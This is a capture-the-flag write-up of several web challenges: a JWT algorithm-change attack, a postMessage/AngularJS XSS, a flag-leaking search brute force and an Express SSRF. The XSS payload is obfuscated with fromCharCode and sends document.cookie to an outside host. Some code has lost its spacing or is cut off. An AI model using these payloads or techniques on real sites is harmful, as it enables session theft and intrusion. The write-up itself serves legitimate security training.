brief intro first, will slowly update details once have time lol.
Unlock Me(solved)
jwt algo change.
We were given account and password, minion:banana, when pressed login, it says Only admins are allowed into HQ!, check the frontend source code for login logic:
# root @ kali64 in ~ [0:32:42] $ curl -H "Content-Type:application/json" -X POST -d '{"username":"minion","password":"banana"}' http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41031/login {"accessToken":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3MzE5MTY5fQ.iDaFvnO7Vg_U7_1LjSDCXYvDMoHHG-BBBlYFczTrQ1zVerCPbvVrcQZmodrSIrbe_OL-IvCaIZvyaPa69rACdMzdeMMl2zpjAQCkrzVNeGHkux_R1S8whHzE5fP3HzA_QGFEsY7rP0dAbQlKLmaEaPJ_c0yuznYFegUAsQKzjlhQH5OIRnA6NyfJgqljaOfHwt-yx6oapDMURFE7pkRx7UfkHwQClSttx4RYZq5Ag6AsgA8P2ka7f3rA_9MCFWLlObTxQENWszexq2Kk7RONuBNHySiDoarKZUTor6AeKcB48UKg93RIsaIcDX8Sg0J2_76_bIIT2zM0IRUCUt3De4bd940GjaTJ4kMVxfODMciTHj_IJSF4lISXXehmUp0ec0xOaT3G2zruzFxoSt9qIogWaVCavRDqp33xg1sDyuNg6hn8sn1Xn6C752LYHWubIns9nhqMCoWS00Zt-tr-ztvpiaxkOwn8VE-0RNyNKPa-aEp8rQv9fsdHWpV-3nBLEHLzAgG9SLwoZuuurL8DU4PTh-3P3b5vH2LAmMkCzYyIjvGu0vDas_5apEkoSwJ8iJlJRXw5hr2oe4rBXFhaMZQwGLh1bwOtS6VjTrSdFlZ6a5P30U8T5OWz9yDGS9eUru6W6oAHm6LjSVw8YUiPb0Zk9bcmFAYFiYXqKe-IrT4"}
(I was asked about jwt last month in interview, and I didn’t answer very well, so I went to read some attacks on jwt after the interview. So I get triggered when I saw eyJ lol)
<iframe id = "broadcasts" src="http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcasts"> <script> functiontest() { var test = '<iframe/srcdoc="<script/src=javascripts/angular.min.js><\/script><div/ng-app>{{x={y:toString().constructor.fromCharCode(0).constructor.prototype};x[toString().constructor.fromCharCode(121)].charAt=[].join;$eval(toString().constructor.fromCharCode(120,61,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,105,109,103,32,115,114,99,61,34,104,116,116,112,115,58,47,47,121,46,111,117,108,111,118,101,46,109,101,47,63,99,111,111,107,105,101,61,39,32,43,32,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,32,43,32,39,34,32,47,62,39,41));}}</div>"></iframe>'; document.getElementById('broadcasts').contentWindow.postMessage(test, "*"); } setTimeout(function(){test();},1500); </script>
This challenge is very similar(about 80%) to the Bug Poc XSS 2 challenge, and my payload was mainly modified from this post: https://medium.com/@osama.alaa/bug-poc-xss-2-challenge-writeup-429790119912. To get a better understanding of this challenge, I would recommend you to read that post instead of the current post.
I’ve mirrored the website and you can download the front-end source code here: you_shall_not_pass.tar.gz
At first glance, I thought it was about SSRF, since I can post the link and ask the backend to visit. But I have no idea what are the attack surface at the backend, and seems that the headless browser will close itself in a few seconds.
So I decided to take a look at the front-end source code:
the broadcast page is in an iframe, with a suspicious form, and the javascript:
var broadcastForm = document.getElementById('broadcastForm'); broadcastForm.addEventListener('submit', asyncfunction (event) { event.preventDefault(); event.stopPropagation(); var searchData = new FormData(broadcastForm); var broadcast = searchData.get("broadcast"); var response = await fetch("/broadcast", { method: 'POST', mode: 'cors', cache: 'no-cache', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ broadcast: broadcast }) }); console.log(response.status); if (response.status === 200) { document.getElementById('broadcasts').contentWindow.postMessage(broadcast, "*"); } })
</script>
eventlistener is registered on the broadcastForm, when pressing submit, fetch will post content to /broadcast, if the returned status code is 200, it will then use postMessage to post message to the iframe of broadcasts. Let’s check what does /broadcasts do(don’t be confused with /broadcast):
an obvious bug was spotted on the regex(where is my $?):
I just need to add one A record of yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg to my own domain, then I can bypass this origin check.
A rough idea: I create a page hosted on my yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg.fakedomain , with an iframe of the actual http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcasts, then I use postMessage to post a XSS payload to the iframe, and the iframe will process it, and add to its html source, leading to XSS, on the yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg domain, which allows me to do something evil.
Notice that our post message was appended to the innerHTML, and the <script tag inserted into innerHTML after page finishes loading will not get executed. However, I can insert a new iframe, with custom content using srcdoc attribute as shown below:
<script> var flag = "govtech-csg{"; //var flag = "Fr" var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$%\'()*+,-./:;<=>?@[\\]^`{|}~_ '; var charLen = chars.length; var ENDPOINT = "http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/search?q="; var x = document.createElement('iframe'); var charCounter = 0;
functionsearch(flag) { var curChar = chars[charCounter]; x.setAttribute("src", ENDPOINT+flag+curChar); document.body.appendChild(x); }
so the [object object] will be replaced by the number of results, and to figure out where is the message coming from, we check the source code of /search:
<!DOCTYPE html> <html> <head> <title></title> <linkrel="stylesheet"href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2"crossorigin="anonymous"> <linkrel="stylesheet"href="stylesheets/style.css"> <scriptsrc="https://code.jquery.com/jquery-3.5.1.min.js"integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="crossorigin="anonymous"></script> </head> <body> <ulclass="list-group"></ul> <liclass="list-group-item d-flex justify-content-between lh-sm"> <div> <h6class="my-0">Free Sample Key</h6> <smallclass="text-muted">This one is on us! Pay up to see the rest.</small> </div> <spanclass="text-muted">3303e356f9009e82cc167eba15b804b5</span> </li> <liclass="list-group-item d-flex justify-content-between lh-sm"> <div> <h6class="my-0">Chung Brothers</h6> <smallclass="text-muted">https://chungbrotherstours.com</small> </div> <spanclass="text-muted">HIDDEN</span> </li> <liclass="list-group-item d-flex justify-content-between lh-sm"> <div> <h6class="my-0">Jaga Nation</h6> <smallclass="text-muted">https://jaganation.net</small> </div> <spanclass="text-muted">HIDDEN</span> </li> <liclass="list-group-item d-flex justify-content-between lh-sm"> <div> <h6class="my-0">Flag of our Fathers</h6> <smallclass="text-muted">https://flagofourfathersfilm.popcorn</small> </div> <spanclass="text-muted">HIDDEN</span> </li> </body> <script>var numResults = "4" window.parent.postMessage(numResults, '*'); </script> </html>
notice that window.parent.postMessage(numResults, '*'); is used, targetOrigin is set to *, we can create our own webpage again. But how to exploit this feature?
Notice that in the search text bar: Search by website title, URL, or ransom key (admin only), we know that the flag starts with govtech-csg{, and that is probably the value of Flag of our Fathers, we can try to search different combination of govtech-csg{*, and based on the number of results posted from the iframe to deduce if we have made the correct guess, and to bruteforce the next character.(sounds like boolean-based SQL injection?)
Writing POC was straightforward and self-explanatory.
Feed the Beast(not solved)
blind SQLi(should be)
Sadly the challenge server is down and I cannot attempt this unsolved challenge anymore. But anyway, life is not always perfect.
Breaking Free(solved)
Express.JS features in handling HEAD/GET -> variable override -> ssrf
We were only giving one JS file, which seems to be much easier lol:
//Validates requests before we allow them to hit our endpoint router.use("/register-covid-bot", (req, res, next) => { var invalidRequest = true; if (req.method === "GET") { if (req.query.COVID_SECRET && req.query.COVID_SECRET === COVID_SECRET) { invalidRequest = false; } } else {//Handle POST let covidBotID = req.headers['x-covid-bot'] if (covidBotID && covidBotID.match(COVID_BOT_ID_REGEX)) { invalidRequest = false; } }
if (invalidRequest) { res.status(404).send('Not found'); } else { next(); }
});
//registers UUID associated with covid bot to database router.get("/register-covid-bot", (req, res) => { let { newID } = req.query;
if (newID.match(COVID_BOT_ID_REGEX)) { //We enroll a maximum of 100 UUID at any time!! dbController.addBotID(newID).then(success => { res.send({ "success": success }); }); }
});
//Change a known registered UUID router.post("/register-covid-bot", (req, res) => { let payload = { url: COVID_BACKEND, oldBotID: req.headers['x-covid-bot'], ...req.body }; if (payload.newBotID && payload.newBotID.match(COVID_BOT_ID_REGEX)) { dbController.changeBotID(payload.oldBotID, payload.newBotID).then(success => { if (success) { fetchResource(payload).then(httpResult => { res.send({ "success": success, "covid-bot-data": httpResult.data }); })
asyncfunctionfetchResource(payload) { //TODO: fix dev routing at backend http://web_challenge_5_dummy/flag/42 let result = await axios.get(`http://${payload.url}/${payload.newBotID}`).catch(err => { return { data: { "error": true } } }); return result; }
app.use("/", router);
The logic is very clear, first vulnerability was immediately spotted as below:
1 2 3 4 5
let payload = { url: COVID_BACKEND, oldBotID: req.headers['x-covid-bot'], ...req.body };
in my request body, if I set another url parameter, it is probably going to overwrite the original url value COVID_BACKEND, and when payload is passed to fetchResource function, it will leads to SSRF.
However, I need to make dbController.changeBotID(payload.oldBotID, payload.newBotID) return true, and I don’t know the logic of changeBotID. One reasonable assumption is that oldBotID must exist.
Bruteforcing seems to be infeasible, const COVID_BOT_ID_REGEX = /^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}$/g , the space is too large, tried a few special BotID all does not exist, then I gave up on bruteforcing.
Another inconsistency here:
1 2 3 4 5 6 7 8 9
if (req.method === "GET") { if (req.query.COVID_SECRET && req.query.COVID_SECRET === COVID_SECRET) { invalidRequest = false; } }
and
router.get("/register-covid-bot", (req, res) => {
inconsistency leads to bugs and then leads to vulnerability, I tried HEAD method, surprisingly, it will be handled by router.get, but in the first validation process, it is going to the //Handle POST code block.
The HEAD method is identical to GET except that the server MUST NOT return a message-body in the response. The metainformation contained in the HTTP headers in response to a HEAD request SHOULD be identical to the information sent in response to a GET request.
It seems to be an intended behavior.
So it is easy now: I can issue HEAD request to register a BotID, then issue a POST request to change the BotID, and overwrite the url to web_challenge_5_dummy/flag/42#, exploiting SSRF to get the flag.
For some reason I don’t know(might be because //We enroll a maximum of 100 UUID at any time!!), the success rate is very low, but still working with burp intruder:
End Note
In my personal point of view, the difficulty level should be logged in < unlock me < breaking free < ransom me this < you shall not pass, this ranking is very subjective, given my poor JS knowledge. However, breaking free is 3000 points while you shall not pass is only 1000 points.